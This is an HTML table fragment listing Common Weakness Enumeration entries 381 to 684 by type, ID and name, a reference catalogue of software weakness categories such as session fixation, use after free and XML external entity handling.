<td>Technology-Specific Time and State Issues</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>C</td>
<td>381</td>
<td>J2EE Time and State Issues</td>
</tr>
<tr>
<td>V</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
</tr>
<tr>
<td>V</td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
</tr>
<tr>
<td>A</td>
<td>384</td>
<td>Session Fixation</td>
</tr>
<tr>
<td>B</td>
<td>385</td>
<td>Covert Timing Channel</td>
</tr>
<tr>
<td>B</td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
</tr>
<tr>
<td>C</td>
<td>387</td>
<td>Signal Errors</td>
</tr>
<tr>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
</tr>
<tr>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
</tr>
<tr>
<td>C</td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
</tr>
<tr>
<td>B</td>
<td>391</td>
<td>Unchecked Error Condition</td>
</tr>
<tr>
<td>B</td>
<td>392</td>
<td>Missing Report of Error Condition</td>
</tr>
<tr>
<td>B</td>
<td>393</td>
<td>Return of Wrong Status Code</td>
</tr>
<tr>
<td>B</td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td>B</td>
<td>395</td>
<td>Use of NullPointerExceptionCatch to Detect NULL Pointer Dereference</td>
</tr>
<tr>
<td>B</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
</tr>
<tr>
<td>B</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
</tr>
<tr>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
</tr>
<tr>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
</tr>
<tr>
<td>B</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td>B</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td>C</td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
</tr>
<tr>
<td>B</td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')</td>
</tr>
<tr>
<td>B</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
</tr>
<tr>
<td>C</td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
</tr>
<tr>
<td>B</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td>B</td>
<td>407</td>
<td>Algorithmic Complexity</td>
</tr>
<tr>
<td>B</td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
</tr>
<tr>
<td>B</td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
</tr>
<tr>
<td>B</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td>C</td>
<td>411</td>
<td>Resource Locking Problems</td>
</tr>
<tr>
<td>B</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
</tr>
<tr>
<td>B</td>
<td>413</td>
<td>Improper Resource Locking</td>
</tr>
<tr>
<td>B</td>
<td>414</td>
<td>Missing Lock Check</td>
</tr>
<tr>
<td>V</td>
<td>415</td>
<td>Double Free</td>
</tr>
<tr>
<td>B</td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td>C</td>
<td>417</td>
<td>Channel and Path Errors</td>
</tr>
<tr>
<td>C</td>
<td>418</td>
<td>Channel Errors</td>
</tr>
<tr>
<td>B</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td>B</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td>B</td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
</tr>
<tr>
<td>V</td>
<td>422</td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
</tr>
<tr>
<td>C</td>
<td>423</td>
<td>DEPRECATED (Duplicate): Proxied Trusted Channel</td>
</tr>
<tr>
<td>C</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
</tr>
<tr>
<td>B</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
</tr>
<tr>
<td>A</td>
<td>426</td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>B</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
</tr>
<tr>
<td>B</td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
</tr>
<tr>
<td>C</td>
<td>429</td>
<td>Handler Errors</td>
</tr>
<tr>
<td>B</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>B</td>
<td>431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>3</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>3</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
<tr>
<td>3</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>3</td>
<td>435</td>
<td>Interaction Error</td>
</tr>
<tr>
<td>3</td>
<td>436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>3</td>
<td>437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>3</td>
<td>438</td>
<td>Behavioral Problems</td>
</tr>
<tr>
<td>3</td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>3</td>
<td>440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>3</td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
</tr>
<tr>
<td>3</td>
<td>442</td>
<td>Web Problems</td>
</tr>
<tr>
<td>3</td>
<td>443</td>
<td>DEPRECATED (Duplicate): HTTP response splitting</td>
</tr>
<tr>
<td>3</td>
<td>444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
</tr>
<tr>
<td>3</td>
<td>445</td>
<td>DEPRECATED: User Interface Errors</td>
</tr>
<tr>
<td>3</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>3</td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>3</td>
<td>448</td>
<td>Obsolete Feature in UI</td>
</tr>
<tr>
<td>3</td>
<td>449</td>
<td>The UI Performs the Wrong Action</td>
</tr>
<tr>
<td>3</td>
<td>450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>3</td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>3</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
</tr>
<tr>
<td>3</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>3</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>3</td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>3</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>3</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>3</td>
<td>458</td>
<td>DEPRECATED: Incorrect Initialization</td>
</tr>
<tr>
<td>3</td>
<td>459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>3</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>3</td>
<td>461</td>
<td>Data Structure Issues</td>
</tr>
<tr>
<td>3</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>3</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>3</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>3</td>
<td>465</td>
<td>Pointer Issues</td>
</tr>
<tr>
<td>3</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>3</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>3</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>3</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>3</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>3</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>3</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>3</td>
<td>473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>3</td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>3</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>3</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>3</td>
<td>477</td>
<td>Use of Obsolete Functions</td>
</tr>
<tr>
<td>3</td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>3</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>3</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
</tr>
<tr>
<td>3</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td>3</td>
<td>482</td>
<td>Comparing instead of Assigning</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>V</td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
</tr>
<tr>
<td>B</td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
</tr>
<tr>
<td>V</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
</tr>
<tr>
<td>V</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
</tr>
<tr>
<td>V</td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
</tr>
<tr>
<td>V</td>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
</tr>
<tr>
<td>B</td>
<td>489</td>
<td>Leftover Debug Code</td>
</tr>
<tr>
<td>C</td>
<td>490</td>
<td>Mobile Code Issues</td>
</tr>
<tr>
<td>V</td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
</tr>
<tr>
<td>C</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
</tr>
<tr>
<td>V</td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
</tr>
<tr>
<td>B</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>V</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
</tr>
<tr>
<td>V</td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
</tr>
<tr>
<td>V</td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>V</td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
</tr>
<tr>
<td>V</td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
</tr>
<tr>
<td>B</td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
</tr>
<tr>
<td>B</td>
<td>501</td>
<td>Trust Boundary Violation</td>
</tr>
<tr>
<td>C</td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
</tr>
<tr>
<td>C</td>
<td>503</td>
<td>Byte/Object Code</td>
</tr>
<tr>
<td>C</td>
<td>504</td>
<td>Motivation/Intent</td>
</tr>
<tr>
<td>C</td>
<td>505</td>
<td>Intentionally Introduced Weakness</td>
</tr>
<tr>
<td>C</td>
<td>506</td>
<td>Embedded Malicious Code</td>
</tr>
<tr>
<td>B</td>
<td>507</td>
<td>Trojan Horse</td>
</tr>
<tr>
<td>B</td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
</tr>
<tr>
<td>B</td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
</tr>
<tr>
<td>B</td>
<td>510</td>
<td>Trapdoor</td>
</tr>
<tr>
<td>B</td>
<td>511</td>
<td>Logic/Time Bomb</td>
</tr>
<tr>
<td>C</td>
<td>512</td>
<td>Spyware</td>
</tr>
<tr>
<td>C</td>
<td>513</td>
<td>Intentionally Introduced Nonmalicious Weakness</td>
</tr>
<tr>
<td>B</td>
<td>514</td>
<td>Covert Channel</td>
</tr>
<tr>
<td>B</td>
<td>515</td>
<td>Covert Storage Channel</td>
</tr>
<tr>
<td>C</td>
<td>516</td>
<td>DEPRECATED (Duplicate): Covert Timing Channel</td>
</tr>
<tr>
<td>C</td>
<td>517</td>
<td>Other Intentional, Nonmalicious Weakness</td>
</tr>
<tr>
<td>C</td>
<td>518</td>
<td>Inadvertently Introduced Weakness</td>
</tr>
<tr>
<td>C</td>
<td>519</td>
<td>.NET Environment Issues</td>
</tr>
<tr>
<td>V</td>
<td>520</td>
<td>.NET Misconfiguration: Use of Impersonation</td>
</tr>
<tr>
<td>B</td>
<td>521</td>
<td>Weak Password Requirements</td>
</tr>
<tr>
<td>B</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
</tr>
<tr>
<td>V</td>
<td>523</td>
<td>Unprotected Transport of Credentials</td>
</tr>
<tr>
<td>V</td>
<td>524</td>
<td>Information Exposure Through Caching</td>
</tr>
<tr>
<td>V</td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
</tr>
<tr>
<td>V</td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
</tr>
<tr>
<td>V</td>
<td>527</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>V</td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>V</td>
<td>529</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>V</td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
</tr>
<tr>
<td>V</td>
<td>531</td>
<td>Information Exposure Through Test Code</td>
</tr>
<tr>
<td>V</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
</tr>
<tr>
<td>V</td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>534</td>
<td>Information Exposure Through Debug Log Files</td>
</tr>
<tr>
<td></td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
</tr>
<tr>
<td></td>
<td>536</td>
<td>Information Exposure Through Servlet Runtime Error Message</td>
</tr>
<tr>
<td></td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
</tr>
<tr>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
</tr>
<tr>
<td></td>
<td>539</td>
<td>Information Exposure Through Persistent Cookies</td>
</tr>
<tr>
<td></td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
</tr>
<tr>
<td></td>
<td>541</td>
<td>Information Exposure Through Include Source Code</td>
</tr>
<tr>
<td></td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
</tr>
<tr>
<td></td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td></td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
</tr>
<tr>
<td></td>
<td>545</td>
<td>DEPRECATED: Use of Dynamic Class Loading</td>
</tr>
<tr>
<td></td>
<td>546</td>
<td>Suspicious Comment</td>
</tr>
<tr>
<td></td>
<td>547</td>
<td>Use of Hard-coded, Security-relevant Constants</td>
</tr>
<tr>
<td></td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
</tr>
<tr>
<td></td>
<td>549</td>
<td>Missing Password Field Masking</td>
</tr>
<tr>
<td></td>
<td>550</td>
<td>Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td></td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
</tr>
<tr>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
</tr>
<tr>
<td></td>
<td>553</td>
<td>Command Shell in Externally Accessible Directory</td>
</tr>
<tr>
<td></td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
</tr>
<tr>
<td></td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
</tr>
<tr>
<td></td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
</tr>
<tr>
<td></td>
<td>557</td>
<td>Concurrency Issues</td>
</tr>
<tr>
<td></td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td></td>
<td>559</td>
<td>Often Misused: Arguments and Parameters</td>
</tr>
<tr>
<td></td>
<td>560</td>
<td>Use of umask() with chmod-style Argument</td>
</tr>
<tr>
<td></td>
<td>561</td>
<td>Dead Code</td>
</tr>
<tr>
<td></td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td></td>
<td>563</td>
<td>Assignment to Variable without Use ('Unused Variable')</td>
</tr>
<tr>
<td></td>
<td>564</td>
<td>SQL injection: Hibernate</td>
</tr>
<tr>
<td></td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td></td>
<td>566</td>
<td>Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td></td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td></td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
</tr>
<tr>
<td></td>
<td>569</td>
<td>Expression Issues</td>
</tr>
<tr>
<td></td>
<td>570</td>
<td>Expression is Always False</td>
</tr>
<tr>
<td></td>
<td>571</td>
<td>Expression is Always True</td>
</tr>
<tr>
<td></td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
</tr>
<tr>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
</tr>
<tr>
<td></td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td></td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td></td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td></td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td></td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td></td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td></td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
</tr>
<tr>
<td></td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
</tr>
<tr>
<td></td>
<td>582</td>
<td>Array Model Declared Public, Final, and Static</td>
</tr>
<tr>
<td></td>
<td>583</td>
<td>finalize() Method Declared Public</td>
</tr>
<tr>
<td></td>
<td>584</td>
<td>Return Inside Finally Block</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>V</td>
<td>585</td>
<td>Empty Synchronized Block</td>
</tr>
<tr>
<td>V</td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
</tr>
<tr>
<td>V</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>V</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
</tr>
<tr>
<td>V</td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
</tr>
<tr>
<td>V</td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
</tr>
<tr>
<td>V</td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
</tr>
<tr>
<td>C</td>
<td>592</td>
<td>DEPRECATED: Authentication Bypass Issues</td>
</tr>
<tr>
<td>V</td>
<td>593</td>
<td>Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created</td>
</tr>
<tr>
<td>V</td>
<td>594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>B</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>B</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
</tr>
<tr>
<td>V</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>V</td>
<td>598</td>
<td>Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td>V</td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
</tr>
<tr>
<td>E</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
</tr>
<tr>
<td>V</td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
</tr>
<tr>
<td>B</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
</tr>
<tr>
<td>B</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
</tr>
<tr>
<td>V</td>
<td>604</td>
<td>Deprecated Entries</td>
</tr>
<tr>
<td>B</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
</tr>
<tr>
<td>B</td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
</tr>
<tr>
<td>V</td>
<td>607</td>
<td>Public Static Final Field References Mutable Object</td>
</tr>
<tr>
<td>V</td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
</tr>
<tr>
<td>B</td>
<td>609</td>
<td>Double-Checked Locking</td>
</tr>
<tr>
<td>C</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
</tr>
<tr>
<td>V</td>
<td>611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
</tr>
<tr>
<td>V</td>
<td>612</td>
<td>Information Exposure Through Indexing of Private Data</td>
</tr>
<tr>
<td>B</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
</tr>
<tr>
<td>V</td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</td>
</tr>
<tr>
<td>V</td>
<td>615</td>
<td>Information Exposure Through Comments</td>
</tr>
<tr>
<td>V</td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
</tr>
<tr>
<td>V</td>
<td>617</td>
<td>Reachable Assertion</td>
</tr>
<tr>
<td>B</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
</tr>
<tr>
<td>B</td>
<td>619</td>
<td>Dangling Database Cursor ('Cursor Injection')</td>
</tr>
<tr>
<td>V</td>
<td>620</td>
<td>Unverified Password Change</td>
</tr>
<tr>
<td>B</td>
<td>621</td>
<td>Variable Extraction Error</td>
</tr>
<tr>
<td>V</td>
<td>622</td>
<td>Improper Validation of Function Hook Arguments</td>
</tr>
<tr>
<td>B</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scriping</td>
</tr>
<tr>
<td>B</td>
<td>624</td>
<td>Executable Regular Expression Error</td>
</tr>
<tr>
<td>B</td>
<td>625</td>
<td>Permissive Regular Expression</td>
</tr>
<tr>
<td>V</td>
<td>626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
</tr>
<tr>
<td>B</td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
</tr>
<tr>
<td>B</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
</tr>
<tr>
<td>V</td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
</tr>
<tr>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
</tr>
<tr>
<td>V</td>
<td>631</td>
<td>Resource-specific Weaknesses</td>
</tr>
<tr>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
</tr>
<tr>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
</tr>
<tr>
<td>C</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
</tr>
<tr>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td></td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
</tr>
<tr>
<td></td>
<td>637</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</td>
</tr>
<tr>
<td></td>
<td>638</td>
<td>Not Using Complete Mediation</td>
</tr>
<tr>
<td></td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
</tr>
<tr>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
</tr>
<tr>
<td></td>
<td>641</td>
<td>Improper Restriction of Names for Files and Other Resources</td>
</tr>
<tr>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
</tr>
<tr>
<td></td>
<td>643</td>
<td>Improper Neutralization of Data within XPath Expressions ('XPath Injection')</td>
</tr>
<tr>
<td></td>
<td>644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
</tr>
<tr>
<td></td>
<td>645</td>
<td>Overly Restrictive Account Lockout Mechanism</td>
</tr>
<tr>
<td></td>
<td>646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File</td>
</tr>
<tr>
<td></td>
<td>647</td>
<td>Use of Non-Canonical URL Paths for Authorization Decisions</td>
</tr>
<tr>
<td></td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
</tr>
<tr>
<td></td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
</tr>
<tr>
<td></td>
<td>650</td>
<td>Trusting HTTP Permission Methods on the Server Side</td>
</tr>
<tr>
<td></td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
</tr>
<tr>
<td></td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</td>
</tr>
<tr>
<td></td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td></td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td></td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td></td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
<tr>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
</tr>
<tr>
<td></td>
<td>658</td>
<td>Weaknesses in Software Written in C</td>
</tr>
<tr>
<td></td>
<td>659</td>
<td>Weaknesses in Software Written in C++</td>
</tr>
<tr>
<td></td>
<td>660</td>
<td>Weaknesses in Software Written in Java</td>
</tr>
<tr>
<td></td>
<td>661</td>
<td>Weaknesses in Software Written in PHP</td>
</tr>
<tr>
<td></td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td></td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
</tr>
<tr>
<td></td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
</tr>
<tr>
<td></td>
<td>665</td>
<td>Improper Initialization</td>
</tr>
<tr>
<td></td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
</tr>
<tr>
<td></td>
<td>667</td>
<td>Improper Locking</td>
</tr>
<tr>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
</tr>
<tr>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
</tr>
<tr>
<td></td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
</tr>
<tr>
<td></td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
</tr>
<tr>
<td></td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td></td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
</tr>
<tr>
<td></td>
<td>674</td>
<td>Uncontrolled Recursion</td>
</tr>
<tr>
<td></td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
</tr>
<tr>
<td></td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td></td>
<td>677</td>
<td>Weakness Base Elements</td>
</tr>
<tr>
<td></td>
<td>678</td>
<td>Composites</td>
</tr>
<tr>
<td></td>
<td>679</td>
<td>Chain Elements</td>
</tr>
<tr>
<td></td>
<td>680</td>
<td>Integer Overflow to Buffer Overflow</td>
</tr>
<tr>
<td></td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
</tr>
<tr>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
</tr>
<tr>
<td></td>
<td>683</td>
<td>Function Call With Incorrect Order of Arguments</td>
</tr>
<tr>
<td></td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
</tr>
<tr>
